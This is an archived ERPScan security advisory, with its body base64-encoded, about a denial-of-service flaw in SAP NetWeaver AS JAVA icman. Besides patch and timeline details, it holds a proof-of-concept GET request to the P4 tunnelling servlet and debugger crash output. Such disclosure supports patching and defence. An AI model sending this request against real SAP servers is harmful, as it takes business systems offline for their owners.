[ERPSCAN-16-033] SAP NetWeaver AS JAVA icman - DoS vulnerability
ERPScan inc <[email protected]> Mon, 21 Nov 2016 11:47:59 +0300
| Newsgroups | gmane.comp.security.fulldisclosure,gmane.comp.security.penetration,gmane.comp.security.news.securitytracker,gmane.comp.security.bugtraq |
|---|---|
| Message-ID | <CANHWe91HfGv54Dc5Jr+htJSJA3-FYmm7sabzM8S1tZ50jinMQw@mail.gmail.com> |
QXBwbGljYXRpb246IFNBUCBOZXRXZWF2ZXIgQVMgSkFWQQoKVmVyc2lvbnMgQWZmZWN0ZWQ6IFNB UCBOZXRXZWF2ZXIgQVMgSkFWQSA3LjQKClZlbmRvciBVUkw6IGh0dHA6Ly9TQVAuY29tCgpCdWc6 IERlbmlhbCBvZiBTZXJ2aWNlCgpTZW50OiAyMi4wNC4yMDE2CgpSZXBvcnRlZDogMjMuMDQuMjAx NgoKVmVuZG9yIHJlc3BvbnNlOiAyMy4wNC4yMDE2CgpEYXRlIG9mIFB1YmxpYyBBZHZpc29yeTog MDkuMDguMjAxNgoKUmVmZXJlbmNlOiBTQVAgU2VjdXJpdHkgTm90ZSAgMjMxMzgzNQoKQXV0aG9y OiBWYWhhZ24gVmFyZGFueWFuIChFUlBTY2FuKQoKCgpEZXNjcmlwdGlvbgoKCgoxLiBBRFZJU09S WSBJTkZPUk1BVElPTgoKVGl0bGU6ICBbRVJQU0NBTi0xNi0wMzNdIFNBUCBOZXRXZWF2ZXIgQVMg SkFWQSBpY21hbiDigJMgRG9TIHZ1bG5lcmFiaWxpdHkKCkFkdmlzb3J5IElEOltFUlBTQ0FOLTE2 LTAzM10KClJpc2s6IGhpZ2gKCkFkdmlzb3J5IFVSTDogaHR0cHM6Ly9lcnBzY2FuLmNvbS9hZHZp c29yaWVzL2VycHNjYW4tMTYtMDMzLXNhcC1uZXR3ZWF2ZXItamF2YS1pY21hbi1kb3MtdnVsbmVy YWJpbGl0eS8KCkRhdGUgcHVibGlzaGVkOiAxMS4xMS4yMDE2CgpWZW5kb3JzIGNvbnRhY3RlZDog U0FQCgoKMi4gVlVMTkVSQUJJTElUWSBJTkZPUk1BVElPTgoKQ2xhc3M6IERlbmlhbCBvZiBTZXJ2 aWNlCgpJbXBhY3Q6IERlbmlhbCBvZiBTZXJ2aWNlCgpSZW1vdGVseSBFeHBsb2l0YWJsZTogeWVz CgpMb2NhbGx5IEV4cGxvaXRhYmxlOiB5ZXMKCgpDVlNTIEluZm9ybWF0aW9uCgpDVlNTIEJhc2Ug U2NvcmUgdjM6ICAgNy41IC8gMTAKCkNWU1MgQmFzZSBWZWN0b3I6CgpBViA6IEF0dGFjayBWZWN0 b3IgKFJlbGF0ZWQgZXhwbG9pdCByYW5nZSkgTmV0d29yayAoTikKCkFDIDogQXR0YWNrIENvbXBs ZXhpdHkgKFJlcXVpcmVkIGF0dGFjayBjb21wbGV4aXR5KSBMb3cgKEwpCgpQUiA6IFByaXZpbGVn ZXMgUmVxdWlyZWQgKExldmVsIG9mIHByaXZpbGVnZXMgbmVlZGVkIHRvIGV4cGxvaXQpIE5vbmUg KE4pCgpVSSA6IFVzZXIgSW50ZXJhY3Rpb24gKFJlcXVpcmVkIHVzZXIgcGFydGljaXBhdGlvbikg Tm9uZSAoTikKClMgOiBTY29wZSAoQ2hhbmdlIGluIHNjb3BlIGR1ZSB0byBpbXBhY3QgY2F1c2Vk IHRvIGNvbXBvbmVudHMgYmV5b25kCnRoZSB2dWxuZXJhYmxlIGNvbXBvbmVudCkgVW5jaGFuZ2Vk IChVKQoKQyA6IEltcGFjdCB0byBDb25maWRlbnRpYWxpdHkgTm9uZSAoTikKCkkgOiBJbXBhY3Qg dG8gSW50ZWdyaXR5IE5vbmUgKE4pCgpBIDogSW1wYWN0IHRvIEF2YWlsYWJpbGl0eSBIaWdoIChI KQoKCgozLiBWVUxORVJBQklMSVRZIERFU0NSSVBUSU9OCgpVbmF1dGhlbnRpY2F0ZWQgYXR0YWNr ZXIgY2FuIG1ha2UgRG9TIGF0dGFjayB3aXRoIHVzZSBQNCBvdmVyIEhUVFBTCgoKNC4gVlVMTkVS QUJMRSBQQUNLQUdFUwoKU0FQIEtFUk5FTCA3LjIxIDMyLUJJVAoKU0FQIEtFUk5FTCA3LjIxIDMy LUJJVCBVTklDT0RFCgpTQVAgS0VSTkVMIDcuMjEgNjQtQklUCgpTQVAgS0VSTkVMIDcuMjEgNjQt QklUIFVOSUNPREUKClNBUCBLRVJORUwgNy4yMSBFWFQgMzItQklUCgpTQVAgS0VSTkVMIDcuMjEg RVhUIDMyLUJJVCBVQwoKU0FQIEtFUk5FTCA3LjIxIEVYVCA2NC1CSVQKClNBUCBLRVJORUwgNy4y MSBFWFQgNjQtQklUIFVDCgpTQVAgS0VSTkVMIDcuMjIgNjQtQklUCgpTQVAgS0VSTkVMIDcuMjIg NjQtQklUIFVOSUNPREUKClNBUCBLRVJORUwgNy4yMiBFWFQgNjQtQklUCgpTQVAgS0VSTkVMIDcu MjIgRVhUIDY0LUJJVCBVQwoKU0FQIEtFUk5FTCA3LjQyIDY0LUJJVAoKU0FQIEtFUk5FTCA3LjQy IDY0LUJJVCBVTklDT0RFCgpTQVAgS0VSTkVMIDcuNDUgNjQtQklUCgpTQVAgS0VSTkVMIDcuNDUg NjQtQklUIFVOSUNPREUKCgoKNS4gU09MVVRJT05TIEFORCBXT1JLQVJPVU5EUwoKVG8gY29ycmVj dCB0aGlzIHZ1bG5lcmFiaWxpdHksIGluc3RhbGwgU0FQIFNlY3VyaXR5IE5vdGUgIDIzMTM4MzUK CgoKNi4gQVVUSE9SCgogVmFoYWduIFZhcmRhbnlhbiAoRVJQU2NhbikKCgoKNy4gVEVDSE5JQ0FM IERFU0NSSVBUSU9OCgpWdWxuZXJhYmlsaXR5IHRyaWdnZXJzIHdoZW4gb25lIHNlbmRzIEhUVFBT IEdFVCByZXF1ZXN0IHRvIFNBUCBOZXRXZWF2ZXIgUDQuCgoKUG9DCgpgYGAKCkdFVCBodHRwczov L1NBUF9JUDo1MDAwNS9zYXAuY29tflA0VHVubmVsaW5nQXBwIXdlYi9teVNlcnZsZXQgSFRUUC8x LjEKCkhvc3Q6IDE3Mi4xNi4xMC42NTo1MDAwNQoKVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFdp bmRvd3MgTlQgNi4xOyBXT1c2NDsgcnY6MzMuMCkKR2Vja28vMjAxMDAxMDEgRmlyZWZveC8zMy4w CgpBY2NlcHQ6IHRleHQvaHRtbCxhcHBsaWNhdGlvbi94aHRtbCt4bWwsYXBwbGljYXRpb24veG1s O3E9MC45LCovKjtxPTAuOAoKQWNjZXB0LUxhbmd1YWdlOiBlbi1VUyxlbjtxPTAuNQoKQWNjZXB0 LUVuY29kaW5nOiBnemlwLCBkZWZsYXRlCgpDb25uZWN0aW9uOiBjbG9zZQoKYGBgCgpgYGAKCjA6 MDA3PiByCgpyYXg9MDAwMGEzMjMyNjBmMTI1MiByYng9MDAwMDAwMDAyNWM1MDBkMCByY3g9MDAw MDAwMDAyNWM1MDBkMAoKcmR4PTAwMDAwMDAwMDAwMDAwMDEgcnNpPTAwMDAwMDAwMDAwMDAwMDIg cmRpPTAwMDAwMDAwMDAwMDAwMDAKCnJpcD0wMDAwMDAwMTNmM2FmMDE5IHJzcD0wMDAwMDAwMDAz NTAwZDQwIHJicD0wMDAwMDAwMDAzNTAwZTQwCgpyOD0wMDAwMDAwMDI1YzUwNDAwICByOT0wMDAw MDA2YzAwNGMwMDAyIHIxMD0wMDAwMDAwMDAzNTAwYzIwCgpyMTE9MDAwMDAwMDAwMjFiMmRmMCBy MTI9MDAwMDAwMDAwMDAwMDAwMiByMTM9MDAwMDAwMDEzZjJjMDAwMAoKcjE0PTAwMDAwMDAwMDAw MDAwMDAgcjE1PTAwMDAwMDAwMDAwMDAwMDEKCmlvcGw9MCAgICAgICAgIG52IHVwIGVpIG5nIG56 IGFjIHBvIGN5Cgpjcz0wMDMzICBzcz0wMDJiICBkcz0wMDJiICBlcz0wMDJiICBmcz0wMDUzICBn cz0wMDJiICAgICAgICAgICAgIGVmbD0wMDAxMDI5NwoKaWNtYW4hUDRQbHVnSW5SZWFkSGFuZGxl cisweGI5OgoKMDAwMDAwMDFgM2YzYWYwMTkgOGI0ZjA0ICAgICAgICAgIG1vdiAgICAgZWN4LGR3 b3JkIHB0ciBbcmRpKzRdCmRzOjAwMDAwMDAwYDAwMDAwMDA0PT8/Pz8/Pz8/CgoKMDAwMDAwMDBg MDM1MDBkNDAgMDAwMDAwMDFgM2YzNjNmYjUgaWNtYW4hUDRQbHVnSW5SZWFkSGFuZGxlcisweGI5 CltkOlxkZXBvdFxiYXNcNzQyX3JlbFxzcmNca3JuXHNpXGljXHA0X3BsZy5jIEAgMTE5Ml0KCjAw MDAwMDAwYDAzNTAwZWMwIDAwMDAwMDAxYDNmMzYzOGVhIGljbWFuIUljbU1wbHhBc3luY1JlYWRE b25lKzB4NzUKW2Q6XGRlcG90XGJhc1w3NDJfcmVsXHNyY1xrcm5cc2lcaWNcaWN4eG1wbHguYyBA IDUwODhdCgowMDAwMDAwMGAwMzUwMGYxMCAwMDAwMDAwMWAzZjM2MjYyNiBpY21hbiFJY21NcGx4 RXhlY0NhbGwrMHgzNmEKW2Q6XGRlcG90XGJhc1w3NDJfcmVsXHNyY1xrcm5cc2lcaWNcaWN4eG1w bHguYyBAIDQ4MDhdCgowMDAwMDAwMGAwMzUwZmQyMCAwMDAwMDAwMGA3NDkwMWQ5ZiBpY21hbiFJ Y21NcGx4VGhyZWFkKzB4NWY2CltkOlxkZXBvdFxiYXNcNzQyX3JlbFxzcmNca3JuXHNpXGljXGlj eHhtcGx4LmMgQCAzODQwXQoKMDAwMDAwMDBgMDM1MGZkYjAgMDAwMDAwMDBgNzQ5MDFlM2IgTVNW Q1IxMDAhZW5kdGhyZWFkZXgrMHg0MwoKMDAwMDAwMDBgMDM1MGZkZTAgMDAwMDAwMDBgNzcxNjY1 MmQgTVNWQ1IxMDAhZW5kdGhyZWFkZXgrMHhkZgoKMDAwMDAwMDBgMDM1MGZlMTAgMDAwMDAwMDBg NzcyOWM1NDEga2VybmVsMzIhQmFzZVRocmVhZEluaXRUaHVuaysweGQKCjAwMDAwMDAwYDAzNTBm ZTQwIDAwMDAwMDAwYDAwMDAwMDAwIG50ZGxsIVJ0bFVzZXJUaHJlYWRTdGFydCsweDIxCgpgYGAK Cgo4LiBSRVBPUlQgVElNRUxJTkUKClNlbnQ6IDIyLjA0LjIwMTYKClJlcG9ydGVkOiAyMy4wNC4y MDE2CgpWZW5kb3IgcmVzcG9uc2U6IDIzLjA0LjIwMTYKCkRhdGUgb2YgUHVibGljIEFkdmlzb3J5 OiAwOS4wOC4yMDE2CgoKCjkuIFJFRkVSRU5DRVMKCmh0dHBzOi8vZXJwc2Nhbi5jb20vYWR2aXNv cmllcy9lcnBzY2FuLTE2LTAzMy1zYXAtbmV0d2VhdmVyLWphdmEtaWNtYW4tZG9zLXZ1bG5lcmFi aWxpdHkvCgoKCjEwLiBBQk9VVCBFUlBTY2FuIFJlc2VhcmNoCgpFUlBTY2FuIHJlc2VhcmNoIHRl YW0gc3BlY2lhbGl6ZXMgaW4gdnVsbmVyYWJpbGl0eSByZXNlYXJjaCBhbmQKYW5hbHlzaXMgb2Yg Y3JpdGljYWwgZW50ZXJwcmlzZSBhcHBsaWNhdGlvbnMuIEl0IHdhcyBhY2tub3dsZWRnZWQKbXVs dGlwbGUgdGltZXMgYnkgdGhlIGxhcmdlc3Qgc29mdHdhcmUgdmVuZG9ycyBsaWtlIFNBUCwgT3Jh Y2xlLApNaWNyb3NvZnQsIElCTSwgVk13YXJlLCBIUCBmb3IgZGlzY292ZXJpbmcgbW9yZSB0aGFu IDQwMAp2dWxuZXJhYmlsaXRpZXMgaW4gdGhlaXIgc29sdXRpb25zICgyMDAgb2YgdGhlbSBqdXN0 IGluIFNBUCEpLgoKRVJQU2NhbiByZXNlYXJjaGVycyBhcmUgcHJvdWQgb2YgZGlzY292ZXJpbmcg bmV3IHR5cGVzIG9mCnZ1bG5lcmFiaWxpdGllcyAoVE9QIDEwIFdlYiBIYWNraW5nIFRlY2huaXF1 ZXMgMjAxMikgYW5kIG9mIHRoZSAiVGhlCkJlc3QgU2VydmVyLVNpZGUgQnVnIiBub21pbmF0aW9u IGF0IEJsYWNrSGF0IDIwMTMuCgpFUlBTY2FuIGV4cGVydHMgcGFydGljaXBhdGVkIGFzIHNwZWFr ZXJzLCBwcmVzZW50ZXJzLCBhbmQgdHJhaW5lcnMgYXQKNjArIHByaW1lIGludGVybmF0aW9uYWwg c2VjdXJpdHkgY29uZmVyZW5jZXMgaW4gMjUrIGNvdW50cmllcyBhY3Jvc3MKdGhlIGNvbnRpbmVu dHMgKCBlLmcuIEJsYWNrSGF0LCBSU0EsIEhJVEIpIGFuZCBjb25kdWN0ZWQgcHJpdmF0ZQp0cmFp bmluZ3MgZm9yIHNldmVyYWwgRm9ydHVuZSAyMDAwIGNvbXBhbmllcy4KCkVSUFNjYW4gcmVzZWFy Y2hlcnMgY2Fycnkgb3V0IHRoZSBFQVMtU0VDIHByb2plY3QgdGhhdCBpcyBmb2N1c2VkIG9uCmVu dGVycHJpc2UgYXBwbGljYXRpb24gc2VjdXJpdHkgYXdhcmVuZXNzIGJ5IGlzc3VpbmcgYW5udWFs IFNBUApzZWN1cml0eSByZXNlYXJjaGVzLgoKRVJQU2NhbiBleHBlcnRzIHdlcmUgaW50ZXJ2aWV3 ZWQgaW4gc3BlY2lhbGl6ZWQgaW5mb3NlYyByZXNvdXJjZXMgYW5kCmZlYXR1cmVkIGluIG1ham9y IG1lZGlhIHdvcmxkd2lkZS4gQW1vbmcgdGhlbSwgdGhlcmUgYXJlIFJldXRlcnMsCllhaG9vLCBT QyBNYWdhemluZSwgVGhlIFJlZ2lzdGVyLCBDSU8sIFBDIFdvcmxkLCBEYXJrUmVhZGluZywgSGVp c2UsCkNoaW5hYnl0ZSwgZXRjLgoKT3VyIHRlYW0gY29uc2lzdHMgb2YgaGlnaGx5LXF1YWxpZmll ZCByZXNlYXJjaGVycywgc3BlY2lhbGl6ZWQgaW4KdmFyaW91cyBmaWVsZHMgb2YgY3liZXJzZWN1 cml0eSAoZnJvbSB3ZWIgYXBwbGljYXRpb24gdG8gSUNTL1NDQURBCnN5c3RlbXMpLCBnYXRoZXJp bmcgdGhlaXIgZXhwZXJpZW5jZSB0byBjb25kdWN0IHRoZSBiZXN0IFNBUCBzZWN1cml0eQpyZXNl YXJjaC4KCjExLiBBQk9VVCBFUlBTY2FuCgpFUlBTY2FuIGlzIHRoZSBtb3N0IHJlc3BlY3RlZCBh bmQgY3JlZGlibGUgQnVzaW5lc3MgQXBwbGljYXRpb24KQ3liZXJzZWN1cml0eSBwcm92aWRlci4g Rm91bmRlZCBpbiAyMDEwLCB0aGUgY29tcGFueSBvcGVyYXRlcyBnbG9iYWxseQphbmQgZW5hYmxl cyBsYXJnZSBPaWwgYW5kIEdhcywgRmluYW5jaWFsLCBSZXRhaWwgYW5kIG90aGVyCm9yZ2FuaXph dGlvbnMgdG8gc2VjdXJlIHRoZWlyIG1pc3Npb24tY3JpdGljYWwgcHJvY2Vzc2VzLiBOYW1lZCBh cyBhbgrigJhFbWVyZ2luZyBWZW5kb3LigJkgaW4gU2VjdXJpdHkgYnkgQ1JOLCBsaXN0ZWQgYW1v bmcg4oCcVE9QIDEwMCBTQVAKU29sdXRpb24gcHJvdmlkZXJz4oCdIGFuZCBkaXN0aW5ndWlzaGVk IGJ5IDMwKyBvdGhlciBhd2FyZHMsIEVSUFNjYW4gaXMKdGhlIGxlYWRpbmcgU0FQIFNFIHBhcnRu ZXIgaW4gZGlzY292ZXJpbmcgYW5kIHJlc29sdmluZyBzZWN1cml0eQp2dWxuZXJhYmlsaXRpZXMu IEVSUFNjYW4gY29uc3VsdGFudHMgd29yayB3aXRoIFNBUCBTRSBpbiBXYWxsZG9yZiB0bwphc3Np c3QgaW4gaW1wcm92aW5nIHRoZSBzZWN1cml0eSBvZiB0aGVpciBsYXRlc3Qgc29sdXRpb25zLgoK RVJQU2NhbuKAmXMgcHJpbWFyeSBtaXNzaW9uIGlzIHRvIGNsb3NlIHRoZSBnYXAgYmV0d2VlbiB0 ZWNobmljYWwgYW5kCmJ1c2luZXNzIHNlY3VyaXR5IGFuZCBwcm92aWRlIHNvbHV0aW9ucyBmb3Ig Q0lTTydzIHRvIGV2YWx1YXRlIGFuZApzZWN1cmUgU0FQIGFuZCBPcmFjbGUgRVJQIHN5c3RlbXMg YW5kIGJ1c2luZXNzLWNyaXRpY2FsIGFwcGxpY2F0aW9ucwpmcm9tIGJvdGggY3liZXJhdHRhY2tz IGFuZCBpbnRlcm5hbCBmcmF1ZC4gQXMgYSBydWxlLCBvdXIgY2xpZW50cyBhcmUKbGFyZ2UgZW50 ZXJwcmlzZXMsIEZvcnR1bmUgMjAwMCBjb21wYW5pZXMgYW5kIE1TUHMsIHdob3NlIHJlcXVpcmVt ZW50cwphcmUgdG8gYWN0aXZlbHkgbW9uaXRvciBhbmQgbWFuYWdlIHNlY3VyaXR5IG9mIHZhc3Qg U0FQIGFuZCBPcmFjbGUKbGFuZHNjYXBlcyBvbiBhIGdsb2JhbCBzY2FsZS4KCldlIOKAmGZvbGxv dyB0aGUgc3Vu4oCZIGFuZCBoYXZlIHR3byBodWJzLCBsb2NhdGVkIGluIFBhbG8gQWx0byBhbmQK QW1zdGVyZGFtLCB0byBwcm92aWRlIHRocmVhdCBpbnRlbGxpZ2VuY2Ugc2VydmljZXMsIGNvbnRp bnVvdXMgc3VwcG9ydAphbmQgdG8gb3BlcmF0ZSBsb2NhbCBvZmZpY2VzIGFuZCBwYXJ0bmVyIG5l dHdvcmsgc3Bhbm5pbmcgMjArCmNvdW50cmllcyBhcm91bmQgdGhlIGdsb2JlLgoKCgpBZHJlc3Mg VVNBOiAyMjggSGFtaWx0b24gQXZlbnVlLCBGbC4gMywgUGFsbyBBbHRvLCBDQS4gOTQzMDEKClBo b25lOiA2NTAuNzk4LjUyNTUKClR3aXR0ZXI6IEBlcnBzY2FuCgpTY29vcC1pdDogQnVzaW5lc3Mg QXBwbGljYXRpb24gU2VjdXJpdHkKCl9fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19f X19fX19fX19fX19fClNlbnQgdGhyb3VnaCB0aGUgRnVsbCBEaXNjbG9zdXJlIG1haWxpbmcgbGlz dApodHRwczovL25tYXAub3JnL21haWxtYW4vbGlzdGluZm8vZnVsbGRpc2Nsb3N1cmUKV2ViIEFy Y2hpdmVzICYgUlNTOiBodHRwOi8vc2VjbGlzdHMub3JnL2Z1bGxkaXNjbG9zdXJlLw==